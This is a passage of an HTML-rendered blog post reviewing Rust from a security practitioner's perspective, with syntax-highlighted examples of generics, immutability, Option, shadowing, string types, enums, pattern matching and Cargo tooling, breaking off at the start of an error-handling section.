font-style: inherit;">,</span></span>
<span id="cb2-7"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-8"></span>
<span id="cb2-9"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// A generic struct to represent a log entry.</span></span>
<span id="cb2-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It uses a generic type `T` for the `payload`, allowing it to hold</span></span>
<span id="cb2-11"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// different data types like a raw byte stream, a string, or a structured</span></span>
<span id="cb2-12"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// object.</span></span>
<span id="cb2-13"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">struct</span> LogEntry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-14">    log_type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> LogType<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-15">    payload<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-16"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-17"></span>
<span id="cb2-18"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// A simple `impl` block for our generic `LogEntry`.</span></span>
<span id="cb2-19"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The compiler guarantees this works for any type `T`.</span></span>
<span id="cb2-20"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">impl</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> LogEntry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>T<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-21">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This method simply consumes the `LogEntry` and returns its payload.</span></span>
<span id="cb2-22">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> into_payload(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> T <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-23">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>payload</span>
<span id="cb2-24">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-25"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-26"></span>
<span id="cb2-27"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This is a zero-cost abstraction. We're providing a specialized `impl`</span></span>
<span id="cb2-28"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// block that is only available when the `payload` type is a `String`.</span></span>
<span id="cb2-29"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This allows us to add specific, type-dependent functionality.</span></span>
<span id="cb2-30"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">impl</span> LogEntry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-31">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This method is only available for log entries with a String payload.</span></span>
<span id="cb2-32">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> is_potential_alert(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bool</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-33">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>payload<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>contains(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"SQL"</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">||</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>payload<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>contains(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"XSS"</span>)</span>
<span id="cb2-34">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb2-35"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Rust also enforces immutability by default for variables. This means that to alter a variable’s value after its initial assignment, it must be explicitly marked with the <code>mut</code> keyword. This design choice dramatically enhances code explicitness and predictability.</p>
<p>Rust famously avoids “Null” values, a design decision aimed at preventing the “<a href="https://www.infoq.com/presentations/Null-References-The-Billion-Dollar-Mistake-Tony-Hoare/">billion-dollar mistake</a>” often associated with null pointers. To gracefully handle the absence of a value, the <code>Option&lt;T&gt;</code> enum type was introduced, offering a remarkably clean and type-safe solution.</p>
<p>The next snippet of code shows how immutability and <code>Option&lt;T&gt;</code> work in practice.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb3-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This variable is immutable by default. Its value can't be changed.</span></span>
<span id="cb3-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> threat_level <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"High"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-3"></span>
<span id="cb3-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The following line would result in a compile-time error:</span></span>
<span id="cb3-5"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// threat_level = "Low";</span></span>
<span id="cb3-6"></span>
<span id="cb3-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// To allow the value to change, we use the `mut` keyword.</span></span>
<span id="cb3-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> scan_status <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Scanning..."</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-9"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Current status: {}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> scan_status)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-10">scan_status <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Scan Complete."</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-11"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Final status: {}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> scan_status)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-12"></span>
<span id="cb3-13"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `Option&lt;T&gt;` is used for values that may or may not exist,</span></span>
<span id="cb3-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// avoiding the "billion-dollar mistake" of null pointers.</span></span>
<span id="cb3-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `Some(T)` holds a value, `None` represents its absence.</span></span>
<span id="cb3-16"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> vulnerability_found<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Option</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Some</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"CVE-2023-12345"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-17"></span>
<span id="cb3-18"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The `match` statement forces us to handle both possibilities,</span></span>
<span id="cb3-19"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ensuring we never try to access a non-existent value.</span></span>
<span id="cb3-20"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">match</span> vulnerability_found <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-21">    <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">Some</span>(cve) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Alert: Vulnerability {} found."</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> cve)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-22">    <span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">None</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"No vulnerabilities detected."</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-23"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
</section>
<section id="ergonomics" class="level2">
<h2 class="anchored" data-anchor-id="ergonomics">Ergonomics</h2>
<p>Functions in Rust implicitly return the final expression in their body, eliminating the need for an explicit <code>return</code> keyword in many cases. This design choice contributes to cleaner and more concise code.</p>
<p>The concept of shadowing allows us to re-declare a variable with the same name within the same scope, effectively “shadowing” the previous one. This can often simplify code by avoiding the need for distinct names like <code>spaces_str</code> and <code>spaces_num</code>, allowing us to reuse a simpler name such as <code>spaces</code> when its type or value changes.</p>
<p>The <code>_</code> (underscore) pattern serves multiple ergonomic purposes. It can be used to explicitly mark a variable as intentionally unused, silencing compiler warnings, and also acts as a wildcard or “catch-all” in <code>match</code> expressions or destructuring, akin to an “else” variant. Refer to the next listing for some examples.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb4-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> is_valid_scan(port<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u16</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bool</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb4-2">    port <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1024</span>  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// same as: return port &lt; 1024;</span></span>
<span id="cb4-3"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb4-4"></span>
<span id="cb4-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> connection <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"tcp"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> connection <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> connection<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>len()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `connection` is now an integer</span></span>
<span id="cb4-7"></span>
<span id="cb4-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> log_entry <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"INFO"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"10.0.0.5"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Login successful"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> (_<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> _<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> message) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> log_entry<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ignoring the log level and IP address</span></span></code></pre></div></div>
<p>The presence of various string-like types (e.g., string literals like <code>"foo"</code>, character literals like <code>'f'</code>, <code>String</code>, <code>&amp;str</code>) can initially feel somewhat confusing. This diversity is fundamentally tied to their memory allocation (stack vs.&nbsp;heap) and the specific operations they support, representing a learning curve for newcomers.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb5-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `&amp;str` is a "string slice". It's a reference to a sequence of characters</span></span>
<span id="cb5-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// that lives somewhere else (in this case, in the program's binary).</span></span>
<span id="cb5-3"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It's immutable and fast, living on the stack.</span></span>
<span id="cb5-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> security_protocol<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"TLS"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-5"></span>
<span id="cb5-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `String` is a growable, owned string on the heap.</span></span>
<span id="cb5-7"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// We use it when we need to modify or own string data.</span></span>
<span id="cb5-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> log_message <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>from(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Successful login attempt from "</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-9">log_message<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>push_str(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"10.0.0.5"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `log_message` data is on the heap, but its pointer and length are on</span></span>
<span id="cb5-11"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// the stack.</span></span>
<span id="cb5-12"></span>
<span id="cb5-13"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// A `char` is a single Unicode character, 4 bytes on the stack.</span></span>
<span id="cb5-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// It's a simple, distinct type from string-like types.</span></span>
<span id="cb5-15"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> alert_char <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'!'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-16"></span>
<span id="cb5-17"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// We can convert between types. Here, we borrow a slice from a `String`.</span></span>
<span id="cb5-18"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> log_slice<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>log_message<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p><code>enums</code> and <code>structs</code> are powerful features that empower programmers to tailor code precisely to their use cases. By allowing the creation of custom compound data types, they enhance code readability while adhering to Rust’s “zero-cost abstraction” principle.</p>
<p><strong>Generics</strong> offer an excellent mechanism for providing dynamic type functionality, promoting code reuse and type safety. However, as we’ll discuss further in the “Challenges” section, their over-extensive use can quickly lead to code that is difficult to comprehend.</p>
<p>Control flow constructs like <code>match</code> expressions and <code>if let</code> statements significantly streamline the implementation of multiple conditional cases. When utilized effectively, particularly with pattern matching, they contribute to highly elegant and readable code. The next example shows these contructs in practice.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb6-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// An enum to represent security events.</span></span>
<span id="cb6-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">enum</span> SecurityEvent <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-3">    PortScan<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-4">    LoginAttempt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-5">    Alert<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb6-7"></span>
<span id="cb6-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Use `match` for an exhaustive check of all possible event types.</span></span>
<span id="cb6-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> event_1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">SecurityEvent::</span>Alert<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-10"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">match</span> event_1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-11">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">SecurityEvent::</span>Alert <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"CRITICAL: Alert triggered."</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-12">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">SecurityEvent::</span>PortScan <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"INFO: Port scan detected."</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-13">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">SecurityEvent::</span>LoginAttempt <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=&gt;</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"INFO: Login attempt detected."</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-14"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb6-15"></span>
<span id="cb6-16"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Use `if let` for a concise check when you only care about one specific</span></span>
<span id="cb6-17"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// type.</span></span>
<span id="cb6-18"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> event_2 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">SecurityEvent::</span>PortScan<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-19"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">SecurityEvent::</span>PortScan <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> event_2 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-20">    <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">println!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"ACTION: Respond to port scan."</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb6-21"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>When applied judiciously and limited to appropriate scenarios, declarative programming paradigms can result in cleaner code and accelerated development. However, excessive reliance on declarative approaches can introduce its own set of challenges, as we’ll explore. For instance, using <a href="https://docs.rs/clap/latest/clap/_derive/_tutorial/index.html">clap</a>, a crate for parsing command line arguments, in its “derive mode”—<code>#[clap(...)]</code>—is easy, idiomatic, and readable, but it’s crucial for the programmer to understand the underlying logic and implications of each attribute.</p>
</section>
<section id="ecosystem" class="level2">
<h2 class="anchored" data-anchor-id="ecosystem">Ecosystem</h2>
<p>A significant advantage of modern programming languages lies in their accompanying tooling ecosystem. While Python boasts tools like <a href="https://pypi.org/project/pip/">pip</a> and <a href="https://github.com/astral-sh/uv">uv</a>—the latter written in Rust—, Rust provides <a href="https://doc.rust-lang.org/cargo/">Cargo</a>, which truly acts as the “swiss army knife” for any Rust developer.</p>
<p>Cargo is an all-encompassing tool capable of compiling Rust code, initializing new projects following best practices, managing third-party modules (known as “crates” within the Rust community), executing tests, generating documentation, and performing static analysis with <a href="https://github.com/rust-lang/rust-clippy">Clippy</a>. This integrated toolchain is a profound time-saver, eliminating the need to wrestle with complex Makefiles or craft shell scripts for building and testing your codebase.</p>
<p>Furthermore, <a href="https://crates.io/">crates.io</a> serves as an exceptional central repository for Rust crates. Beyond aggregation, it provides vital metrics such as usage statistics, dependency graphs, comprehensive documentation, and developer information. From a security perspective, this transparency is critical; relying on obscure or nascent crates without proper due diligence can significantly increase a project’s exposure to <a href="https://www.fortinet.com/blog/threat-research/supply-chain-attack-via-new-malicious-python-packages">supply chain attacks</a> 🧨.</p>
<p>An interesting aspect of Cargo’s build process is its “lazy” compilation for development. Given that compile times are a frequent <a href="https://nnethercote.github.io/perf-book/compile-times.html">point of discussion</a> within the Rust community, developers commonly use <code>cargo build</code> or <code>cargo run</code> for faster compilation of non-optimized binaries during iterative development. Only when preparing for a release do they execute <code>cargo build —release</code> to enable full optimizations. These optimized versions are significantly smaller: in my own experience, an unoptimized build yielded a 24 MB binary, while the release version was 7 MB, a size I still found somewhat substantial for the code I’ve written 🤷.</p>
<p>The paramount advantage here is that once the binary is generated, unlike interpreted languages, users simply need to execute it on a supported architecture/OS, and it just works. The notorious “it works on my machine” syndrome becomes a relic of the past—remember my Python background. This results in a robust, self-contained executable, making it an invaluable asset for scenarios like incident response.</p>
<p>In a similar vein, numerous community crates significantly extend Rust’s functionalities, enhancing the overall programming experience by reducing boilerplate and improving code ergonomics. From my perspective, <a href="https://crates.io/crates/thiserror">thiserror</a>, <a href="https://crates.io/crates/clap">clap</a>, <a href="https://crates.io/crates/rand">rand</a>, and <a href="https://crates.io/crates/tokio">tokio</a> are stellar examples, though many other excellent crates undoubtedly exist.</p>
<p>The established conventions for structuring crates, whether for binaries or libraries, are remarkably well-defined and contribute to project maintainability as well. For example, the standard use of <code>src/main.rs</code> for binaries and <code>src/lib.rs</code> for libraries ensures consistency across projects, making it easier for developers to navigate unfamiliar codebases.</p>
</section>
<section id="errors-and-tests" class="level2">
<h2 class="anchored" data-anchor-id="errors-and-tests">Errors and Tests</h2>
<p>Rust embraces a robust error handling philosophy by implementing the <code>Result&lt;T, E&gt;</code> enum type, designed to explicitly convey success or failure rather than relying on exceptions. This pattern, especially when combined with the ergonomic <code>?</code> operator, significantly streamlines error propagation and handling.</p>
<p>Utility functions such as <code>.expect()</code>, <code>.unwrap()</code>, <code>.map_err()</code>, and <code>.ok_or()</code> prove exceptionally useful for managing and transforming Result types. The next code listing shows these functions in action.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb7-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">std::fs::</span>File<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb7-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
